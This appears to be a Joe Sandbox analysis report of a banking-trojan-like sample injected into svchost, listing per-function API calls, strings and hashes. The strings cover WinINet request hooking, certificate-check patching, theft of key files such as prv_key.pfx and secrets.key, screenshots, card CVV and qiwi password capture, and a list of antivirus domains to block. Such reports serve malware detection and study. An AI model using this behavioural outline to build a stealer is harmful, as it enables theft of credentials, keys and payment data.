Opcode Fuzzy Hash: e2e9da4f6c5ab10f68bee24fd1a57cdc281e0e90e6a58f9f9bc6091db8cea263
Instruction Fuzzy Hash: F4513B71E802466BE735ABB0AC49FBA7B6DDF84B08F048694F609D71C1EB70D504CB60

Function 02C800B0 Relevance: 45.6, APIs: 14, Strings: 12, Instructions: 137libraryloadermemoryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(Crypt32.dll,00000000,00000000,7622F550,00000000), ref: 02C800CE
GetProcAddress.KERNEL32(00000000,CertVerifyCertificateChainPolicy), ref: 02C800E4
VirtualProtect.KERNEL32(00000000,00000006,00000040,?,76231620), ref: 02C800FC
VirtualProtect.KERNEL32(00000000,00000006,?,?), ref: 02C8011E
LoadLibraryExA.KERNEL32(Wininet.dll,00000000,00000000), ref: 02C8012A
GetProcAddress.KERNEL32(00000000,HttpSendRequestA), ref: 02C80140
GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 02C8015C
GetProcAddress.KERNEL32(00000000,HttpSendRequestExA), ref: 02C80178
GetProcAddress.KERNEL32(00000000,HttpSendRequestExW), ref: 02C80194
GetProcAddress.KERNEL32(00000000,InternetQueryDataAvailable), ref: 02C801B0
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 02C801CC
GetProcAddress.KERNEL32(00000000,InternetReadFileExA), ref: 02C801E8
GetProcAddress.KERNEL32(00000000,InternetReadFileExW), ref: 02C80204
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 02C80220

Strings

HttpSendRequestExA, xrefs: 02C80172
Crypt32.dll, xrefs: 02C800BC
HttpSendRequestA, xrefs: 02C8013A
HttpSendRequestW, xrefs: 02C80156
InternetReadFileExW, xrefs: 02C801FE
InternetCloseHandle, xrefs: 02C8021A
InternetReadFile, xrefs: 02C801C6
InternetQueryDataAvailable, xrefs: 02C801AA
Wininet.dll, xrefs: 02C80125
InternetReadFileExA, xrefs: 02C801E2
CertVerifyCertificateChainPolicy, xrefs: 02C800DE
HttpSendRequestExW, xrefs: 02C8018E

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadProtectVirtual
String ID: CertVerifyCertificateChainPolicy$Crypt32.dll$HttpSendRequestA$HttpSendRequestExA$HttpSendRequestExW$HttpSendRequestW$InternetCloseHandle$InternetQueryDataAvailable$InternetReadFile$InternetReadFileExA$InternetReadFileExW$Wininet.dll
API String ID: 1705253364-835984666
Opcode ID: 0ea05016a823ce1192b41bd76d47603c3c2e7eb29b6b33b6f0fb218726745ecd
Instruction ID: d3d08d81a9f4b24674397dfb42814877a6d3e56e70194442aa7d9c041c26f86b
Opcode Fuzzy Hash: 0ea05016a823ce1192b41bd76d47603c3c2e7eb29b6b33b6f0fb218726745ecd
Instruction Fuzzy Hash: 9931C771BC031A35FA2276744C46FAF975E4F85F99F018534B803B2445DBA6E70989B8

Function 02C8DA40 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 217filethreadCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(?,prv_key.pfx), ref: 02C8DA6D
PathAddBackslashA.SHLWAPI(7F1BFD21), ref: 02C8DAAE
PathAddBackslashA.SHLWAPI(7F1BFD21), ref: 02C8DAE2
CreateDirectoryA.KERNEL32(?,00000000,7F1BFD21), ref: 02C8DAF7
GetLastError.KERNEL32 ref: 02C8DB01
IsUserAnAdmin.SHELL32 ref: 02C8DB09
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8DB1A
SetLastError.KERNEL32(00000000), ref: 02C8DB21
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8DB5B
DeleteFileA.KERNEL32(?), ref: 02C8DB68
PathAddBackslashA.SHLWAPI(7F1BFD21,02CBDAD8,02CBDAD9), ref: 02C8DBA9
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8DBE4
GetLastError.KERNEL32 ref: 02C8DBEE
IsUserAnAdmin.SHELL32 ref: 02C8DBF6
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8DC07
SetLastError.KERNEL32(00000000), ref: 02C8DC0E
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8DC4B
DeleteFileA.KERNEL32(?), ref: 02C8DC58
CreateThread.KERNEL32(00000000,00000000,02C8DE40,02CBDAD8,00000000,00000000), ref: 02C8DC8E
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8DCA6
CloseHandle.KERNEL32(00000000), ref: 02C8DCB7

Strings

7F1BFD21, xrefs: 02C8DAA9, 02C8DAB0, 02C8DADB, 02C8DAE4, 02C8DBA4, 02C8DBAB
path.txt, xrefs: 02C8DB38
pass.log, xrefs: 02C8DC28
prv_key.pfx, xrefs: 02C8DA67

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$ErrorFileLast$BackslashCreate$AdminAttributesDeleteDirectoryFolderHandleMakeSystemUser$CloseInformationThread
String ID: 7F1BFD21$pass.log$path.txt$prv_key.pfx
API String ID: 448721894-2902503963
Opcode ID: fe3a6b11d3ae989e97f00802c4a965d868f1fef18a7a7015b7a7d6400cd2998a
Instruction ID: 8815aab9caae678beb954c7b7f2384fd36a2e34a63283f0a9db963741f17374a
Opcode Fuzzy Hash: fe3a6b11d3ae989e97f00802c4a965d868f1fef18a7a7015b7a7d6400cd2998a
Instruction Fuzzy Hash: 24712871A406955FD7129F389C58BEABBE8EF85305F14C6D4E98BC7240DB70CA49CB90

Function 02C8DE40 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 204filesynchronizationsleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFD21), ref: 02C8DE69
CreateDirectoryA.KERNEL32(02CCB3A8,00000000), ref: 02C8DEA8
GetLastError.KERNEL32 ref: 02C8DEB4
IsUserAnAdmin.SHELL32 ref: 02C8DEB8
PathMakeSystemFolderA.SHLWAPI(02CCB3A8), ref: 02C8DEC7
SetLastError.KERNEL32(00000000), ref: 02C8DECE
CreateDirectoryA.KERNEL32(02CCB3A8,00000000), ref: 02C8DF02
GetLastError.KERNEL32 ref: 02C8DF08
IsUserAnAdmin.SHELL32 ref: 02C8DF0C
PathMakeSystemFolderA.SHLWAPI(02CCB3A8), ref: 02C8DF1B
SetLastError.KERNEL32(00000000), ref: 02C8DF22
GetFileAttributesA.KERNEL32(?), ref: 02C8DF2C
CopyFileA.KERNEL32(02CCB7C8,02CCB6C0,00000000), ref: 02C8DFD9
CopyFileA.KERNEL32(02CCB7C8,02CCB6C0,00000000), ref: 02C8E053
CreateMutexA.KERNEL32(00000000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02C8E05E
Sleep.KERNEL32(000003E8), ref: 02C8E06F
ReleaseMutex.KERNEL32(00000000), ref: 02C8E076
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E088
CloseHandle.KERNEL32(00000000), ref: 02C8E099

Strings

7F1BFD21, xrefs: 02C8DE64, 02C8DE6F
keys\, xrefs: 02C8DEE8
P0#v, xrefs: 02C8E076
sign.cer, xrefs: 02C8DFFE
prv_key.pfx, xrefs: 02C8DF7A
Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}, xrefs: 02C8E055

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateFilePath$AdminCopyDirectoryFolderHandleMakeMutexSystemUser$AttributesBackslashCloseInformationReleaseSleep
String ID: 7F1BFD21$Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}$P0#v$keys\$prv_key.pfx$sign.cer
API String ID: 843071566-3237391086
Opcode ID: 63df87b1389e73f310abe04a44552865a79ab70052f19bda21694c9fd6c57f00
Instruction ID: f642bda1ad04707f7f86fbdde485840caa9dd1467792f90a24e1f8482e558661
Opcode Fuzzy Hash: 63df87b1389e73f310abe04a44552865a79ab70052f19bda21694c9fd6c57f00
Instruction Fuzzy Hash: E56115309407859FE3139F789828B637FE8AF86749F2DC598EC8A8B251DB31D901C790

Function 02C8DE47 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 202filesynchronizationsleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFD21), ref: 02C8DE69
CreateDirectoryA.KERNEL32(02CCB3A8,00000000), ref: 02C8DEA8
GetLastError.KERNEL32 ref: 02C8DEB4
IsUserAnAdmin.SHELL32 ref: 02C8DEB8
PathMakeSystemFolderA.SHLWAPI(02CCB3A8), ref: 02C8DEC7
SetLastError.KERNEL32(00000000), ref: 02C8DECE
CreateDirectoryA.KERNEL32(02CCB3A8,00000000), ref: 02C8DF02
GetLastError.KERNEL32 ref: 02C8DF08
IsUserAnAdmin.SHELL32 ref: 02C8DF0C
PathMakeSystemFolderA.SHLWAPI(02CCB3A8), ref: 02C8DF1B
SetLastError.KERNEL32(00000000), ref: 02C8DF22
GetFileAttributesA.KERNEL32(?), ref: 02C8DF2C
CopyFileA.KERNEL32(02CCB7C8,02CCB6C0,00000000), ref: 02C8DFD9
CopyFileA.KERNEL32(02CCB7C8,02CCB6C0,00000000), ref: 02C8E053
CreateMutexA.KERNEL32(00000000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02C8E05E
Sleep.KERNEL32(000003E8), ref: 02C8E06F
ReleaseMutex.KERNEL32(00000000), ref: 02C8E076
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E088
CloseHandle.KERNEL32(00000000), ref: 02C8E099

Strings

7F1BFD21, xrefs: 02C8DE64, 02C8DE6F
keys\, xrefs: 02C8DEE8
P0#v, xrefs: 02C8E076
sign.cer, xrefs: 02C8DFFE
prv_key.pfx, xrefs: 02C8DF7A
Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}, xrefs: 02C8E055

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLast$CreateFilePath$AdminCopyDirectoryFolderHandleMakeMutexSystemUser$AttributesBackslashCloseInformationReleaseSleep
String ID: 7F1BFD21$Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}$P0#v$keys\$prv_key.pfx$sign.cer
API String ID: 843071566-3237391086
Opcode ID: 0f3de1a9f2c7a9f0d95eda06f328f725c0eb46c2c6d7376dc29f13454d0e5aaf
Instruction ID: 8073210d7dfe9ab2eae567177829af1d7b106da2d0ae7efb7a5e7d2196afdf02
Opcode Fuzzy Hash: 0f3de1a9f2c7a9f0d95eda06f328f725c0eb46c2c6d7376dc29f13454d0e5aaf
Instruction Fuzzy Hash: 166104309407859FE7139F789829B637FE8AF86749F2DC598EC8A8B251DB31D901C790

Function 02C92658 Relevance: 42.3, APIs: 17, Strings: 7, Instructions: 310COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bf8b2), ref: 02C92677
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C926B5
GetLastError.KERNEL32 ref: 02C926BF
IsUserAnAdmin.SHELL32 ref: 02C926C7
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C926D8
SetLastError.KERNEL32(00000000), ref: 02C926DF
StrStrIA.SHLWAPI(00000000,?), ref: 02C9273D
GetFileAttributesA.KERNEL32(00000000), ref: 02C9274C
PathAddBackslashA.SHLWAPI(7f1bf8b2), ref: 02C92777
_snprintf.MSVCRT ref: 02C927D7
PathAddBackslashA.SHLWAPI(7f1bf8b2,?,00000000), ref: 02C92817
_snprintf.MSVCRT ref: 02C92877
PathAddBackslashA.SHLWAPI(7f1bf8b2), ref: 02C928D7

Strings

path.txt, xrefs: 02C929AD
7f1bf8b2, xrefs: 02C92672, 02C9267D, 02C92772, 02C9277D, 02C92812, 02C9281D, 02C928D2, 02C928DD, 02C92964, 02C9296F
path%i.txt, xrefs: 02C92869
P0#v, xrefs: 02C92A0D
Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}, xrefs: 02C929EC
keys%i.zip, xrefs: 02C927C7
keys.zip, xrefs: 02C9291B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$Backslash$ErrorLast_snprintf$AdminAttributesCreateDirectoryFileFolderMakeSystemUser
String ID: 7f1bf8b2$Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$P0#v$keys%i.zip$keys.zip$path%i.txt$path.txt
API String ID: 2433436401-3801798930
Opcode ID: e97a4dd92c6aada3f8315842884981c78afeda46d24dc3508823d473e6baa31c
Instruction ID: e269fe7a14478ff30028027f5ad099ea76403cb8572d759d573ccfae62207c67
Opcode Fuzzy Hash: e97a4dd92c6aada3f8315842884981c78afeda46d24dc3508823d473e6baa31c
Instruction Fuzzy Hash: 78B10A3190058A5FDF1ACB38986C7EA7BE5AF89300F1449E8EDD5D7240EB71CA48CB95

Function 02C80EE0 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 187filewindowmemoryCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 02C80EF3
GetDC.USER32(00000000), ref: 02C80F04
CreateCompatibleDC.GDI32(00000000), ref: 02C80F19
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02C80F2E
SelectObject.GDI32(?,00000000), ref: 02C80F48
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00660046), ref: 02C80F76
GetObjectA.GDI32(00000000,00000018,?), ref: 02C80F8C
GlobalAlloc.KERNEL32 ref: 02C80FF0
GlobalLock.KERNEL32(00000000), ref: 02C81001
GetDIBits.GDI32(?,00000000,00000000,?,00000000,?,00000000), ref: 02C81020
CreateFileA.KERNEL32(02C8131E,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C8103C
WriteFile.KERNEL32(00000000,?,0000000E,?,00000000), ref: 02C8107D
WriteFile.KERNEL32(00000000,?,00000028,?,00000000), ref: 02C8109A
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02C810B6
GlobalUnlock.KERNEL32(00000000), ref: 02C810BD
GlobalFree.KERNEL32(00000000), ref: 02C810C4
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C810DC
CloseHandle.KERNEL32(00000000), ref: 02C810EE
DeleteObject.GDI32(00000000), ref: 02C810FB
ReleaseDC.USER32(00000000,?), ref: 02C81107
ReleaseDC.USER32(00000000,00000000), ref: 02C81113

Strings

6, xrefs: 02C81068
(, xrefs: 02C80FCC

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileGlobal$CreateObjectWrite$CompatibleHandleRelease$AllocBitmapBitsCloseCursorDeleteFreeInformationLockSelectUnlock
String ID: ($6
API String ID: 1662540191-4149066357
Opcode ID: 994efae198a796a2b8028be584b661c703fe59ac19df0273a5704bacf482aad1
Instruction ID: f65ab8c0bae4c2ed15dfae3902ced4cd321ad6f1f88fe3bb7d017c44247e62ea
Opcode Fuzzy Hash: 994efae198a796a2b8028be584b661c703fe59ac19df0273a5704bacf482aad1
Instruction Fuzzy Hash: 90612871944340AFD311DF65DC89B6BBBE8EFC8754F048A1CFA4993280DBB4D9058BA2

Function 02C8CE00 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 145memorystringthreadCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(00000000,&cvv=,00000000,7622F380,00000000,00000001,00000000,?,?,?,02C87534,?,?,?,?,?), ref: 02C8CE43
StrStrIA.SHLWAPI(00000000,&cvv=&,?,?,02C87534,?,?,?,?,?,?), ref: 02C8CE51
StrStrIA.SHLWAPI(00000000,&cvv2=,?,?,02C87534,?,?,?,?,?,?), ref: 02C8CE5D
StrStrIA.SHLWAPI(00000000,&cvv2=&,?,?,02C87534,?,?,?,?,?,?), ref: 02C8CE6B
StrStrIA.SHLWAPI(00000000,&cvc=,?,?,02C87534,?,?,?,?,?,?), ref: 02C8CE77
StrStrIA.SHLWAPI(00000000,&cvc=&,?,?,02C87534,?,?,?,?,?,?), ref: 02C8CE89
strstr.MSVCRT ref: 02C8CE9F
strstr.MSVCRT ref: 02C8CEB2
GetProcessHeap.KERNEL32(00000008,-00000011,?,?,?,?,?,?,?,?,?,?), ref: 02C8CF1B
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 02C8CF22
memset.MSVCRT ref: 02C8CF32
CreateThread.KERNEL32(00000000,00000000,02C8CF90,00000000,00000000,00000000), ref: 02C8CF58
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8CF70
CloseHandle.KERNEL32(00000000), ref: 02C8CF81

Strings

&domain=letitbit.net&, xrefs: 02C8CE99
&cvc=&, xrefs: 02C8CE83
&cvv2=, xrefs: 02C8CE57
&cvc=, xrefs: 02C8CE71
&cvv2=&, xrefs: 02C8CE65
&cvv=, xrefs: 02C8CE38
&cvv=&, xrefs: 02C8CE4B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleHeapstrstr$AllocCloseCreateInformationProcessThreadmemset
String ID: &cvc=$&cvc=&$&cvv2=$&cvv2=&$&cvv=$&cvv=&$&domain=letitbit.net&
API String ID: 1632825432-2817208116
Opcode ID: 06cff44ad58815e4a040bba79dbcd62a40471d294dceda1540010f666d3570b6
Instruction ID: b57f18272183f62abb0d638fa87a6214254d197619b3845fed2fe7836dbc37da
Opcode Fuzzy Hash: 06cff44ad58815e4a040bba79dbcd62a40471d294dceda1540010f666d3570b6
Instruction Fuzzy Hash: A2412731A80BA12BF71B26385C99FAB679DCFC5A0CF18C253F944D7241DB62DB0582B5

Function 02C756F0 Relevance: 36.1, APIs: 12, Strings: 12, Instructions: 71COMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(?,avast.com,?,?,02C7585C), ref: 02C7570B
StrStrIA.SHLWAPI(?,kaspersky,?,?,02C7585C), ref: 02C7571B
StrStrIA.SHLWAPI(?,drweb,?,?,02C7585C), ref: 02C75727
StrStrIA.SHLWAPI(?,eset.com,?,?,02C7585C), ref: 02C75733
StrStrIA.SHLWAPI(?,antivir,?,?,02C7585C), ref: 02C7573F
StrStrIA.SHLWAPI(?,avira,?,?,02C7585C), ref: 02C7574B
StrStrIA.SHLWAPI(?,virustotal,?,?,02C7585C), ref: 02C75757
StrStrIA.SHLWAPI(?,virusinfo,?,?,02C7585C), ref: 02C75763
StrStrIA.SHLWAPI(?,z-oleg.com,?,?,02C7585C), ref: 02C7576F
StrStrIA.SHLWAPI(?,trendsecure,?,?,02C7585C), ref: 02C7577B
StrStrIA.SHLWAPI(?,anti-malware,?,?,02C7585C), ref: 02C75787
StrStrIA.SHLWAPI(?,.comodo.com,?,?,02C7585C), ref: 02C75793

Strings

kaspersky, xrefs: 02C75715
virusinfo, xrefs: 02C7575D
anti-malware, xrefs: 02C75781
virustotal, xrefs: 02C75751
antivir, xrefs: 02C75739
drweb, xrefs: 02C75721
eset.com, xrefs: 02C7572D
avira, xrefs: 02C75745
trendsecure, xrefs: 02C75775
.comodo.com, xrefs: 02C7578D
avast.com, xrefs: 02C75705
z-oleg.com, xrefs: 02C75769

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID: .comodo.com$anti-malware$antivir$avast.com$avira$drweb$eset.com$kaspersky$trendsecure$virusinfo$virustotal$z-oleg.com
API String ID: 0-375433535
Opcode ID: cc61648bfb30b67e65d85107ca5f90452ea4f24be874ee4712b586ef10f07e3d
Instruction ID: d090923e131477c12c4cec90647dd52a86651fcb6ca3814de5afc97d4e454eb4
Opcode Fuzzy Hash: cc61648bfb30b67e65d85107ca5f90452ea4f24be874ee4712b586ef10f07e3d
Instruction Fuzzy Hash: 260139D63A67E6717A73317A0C92F9F4A8C4ED1CC8B410675FC09E2105E7A6DB0308B5

Function 02C8B620 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 164sleepthreadsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}), ref: 02C8B641
Sleep.KERNEL32(00000064), ref: 02C8B652
OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}), ref: 02C8B660
ReleaseMutex.KERNEL32(00000000), ref: 02C8B669
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8B681
CloseHandle.KERNEL32(00000000), ref: 02C8B693
TerminateThread.KERNEL32(00000000,00000000), ref: 02C8B6A5
CreateThread.KERNEL32(00000000,00000000,02C8B100,00000000,00000000,00000000), ref: 02C8B6BA
Sleep.KERNEL32(0000EA60), ref: 02C8B6CA
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B6E4
PathFileExistsA.SHLWAPI(?), ref: 02C8B74D
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B774
PathFileExistsA.SHLWAPI(?), ref: 02C8B7D7
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B7E2

Strings

path.txt, xrefs: 02C8B7B8
Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}, xrefs: 02C8B635, 02C8B654
P0#v, xrefs: 02C8B669
pass.log, xrefs: 02C8B728
7F1BFC0D, xrefs: 02C8B6DF, 02C8B6EA, 02C8B76F, 02C8B77A, 02C8B7DD, 02C8B7ED
BSS, xrefs: 02C8B7E8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashMutex$ExistsFileHandleOpenSleepThread$CloseCreateInformationReleaseTerminate
String ID: 7F1BFC0D$BSS$Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}$P0#v$pass.log$path.txt
API String ID: 2618501214-107084094
Opcode ID: f6fe511270f52497d6a7ce7f31b185b996bfeda6af1d9b2f39a4b145b2bdaf5d
Instruction ID: 7473a13c26f8500dcefc51da46215b1b2887353ab3188e9ed7c6671aa70f9290
Opcode Fuzzy Hash: f6fe511270f52497d6a7ce7f31b185b996bfeda6af1d9b2f39a4b145b2bdaf5d
Instruction Fuzzy Hash: E6515831A847819BD716EB289C54BA7BBD4AFC6708F188A58F885D7240DB70DD08C795

Function 02C71000 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 156memorythreadCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,02C7149C,00000000,?), ref: 02C7101B
GetProcessHeap.KERNEL32(00000008,00000013,7622F570,?,02C7149C,00000000,?), ref: 02C7103E
HeapAlloc.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71045
memset.MSVCRT ref: 02C71055
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,7622F570,?,02C7149C,00000000,?), ref: 02C71073
StrStrIA.SHLWAPI(00000000,name.key,00000000,?,02C7149C,00000000,?), ref: 02C71093
CreateThread.KERNEL32(00000000,00000000,02C906E0,00000000,00000000,00000000), ref: 02C710A3
CreateThread.KERNEL32(00000000,00000000,02C8F1B0,00000000,00000000,00000000), ref: 02C710D0
StrStrIA.SHLWAPI(00000000,\secrets.key,?,?,02C7149C,00000000,?), ref: 02C710EC
StrStrIA.SHLWAPI(00000000,sign.key,?,02C7149C,00000000,?), ref: 02C71102
CreateThread.KERNEL32(00000000,00000000,02C911C0,00000000,00000000,00000000), ref: 02C7111B
GetHandleInformation.KERNEL32(00000000,?,?,02C7149C,00000000,?), ref: 02C7112F
CloseHandle.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71140
GetProcessHeap.KERNEL32(00000000,00000000,?,02C7149C,00000000,?), ref: 02C71155
HeapValidate.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71158
GetProcessHeap.KERNEL32(00000000,00000000,?,02C7149C,00000000,?), ref: 02C71164
HeapFree.KERNEL32(00000000,?,02C7149C,00000000,?), ref: 02C71167

Strings

name.key, xrefs: 02C7108D
sign.key, xrefs: 02C710FC
\secrets.key, xrefs: 02C710E6

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$CreateProcessThread$ByteCharHandleMultiWide$AllocCloseFreeInformationValidatememset
String ID: \secrets.key$name.key$sign.key
API String ID: 3254303593-2345338882
Opcode ID: 280a4b6dda162144de4f81a873db4c6609517df138f10e60873049e03207b4b4
Instruction ID: 4ba0e2f269905619e1da183914577106412ee6c3aa111e834bdfd4dedbef0bba
Opcode Fuzzy Hash: 280a4b6dda162144de4f81a873db4c6609517df138f10e60873049e03207b4b4
Instruction Fuzzy Hash: A741E731A401A17B9B326A665C8CEAB7B7CDFC6F94F088719F919A7040DB71C611C6B0

Function 02C903A0 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 129stringthreadCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 02C903E9
strstr.MSVCRT ref: 02C903FC
strstr.MSVCRT ref: 02C9040F
PathAddBackslashA.SHLWAPI(7F1BFF57), ref: 02C9043D
PathAddBackslashA.SHLWAPI(7F1BFF57), ref: 02C90473
CreateDirectoryA.KERNEL32(?,00000000,7F1BFF57), ref: 02C90488
GetLastError.KERNEL32 ref: 02C90492
IsUserAnAdmin.SHELL32 ref: 02C9049A
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C904AB
SetLastError.KERNEL32(00000000), ref: 02C904B2
SetCurrentDirectoryA.KERNEL32(?), ref: 02C904BF
CreateThread.KERNEL32(00000000,00000000,02C90540,00000000,00000000,00000000), ref: 02C90508
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C90520
CloseHandle.KERNEL32(00000000), ref: 02C90531

Strings

pass.txt, xrefs: 02C904DB
password=, xrefs: 02C90409
phone=, xrefs: 02C903F6
w.qiwi.ru, xrefs: 02C903E3
GET , xrefs: 02C903C4
7F1BFF57, xrefs: 02C90438, 02C9043F, 02C9046C, 02C90475

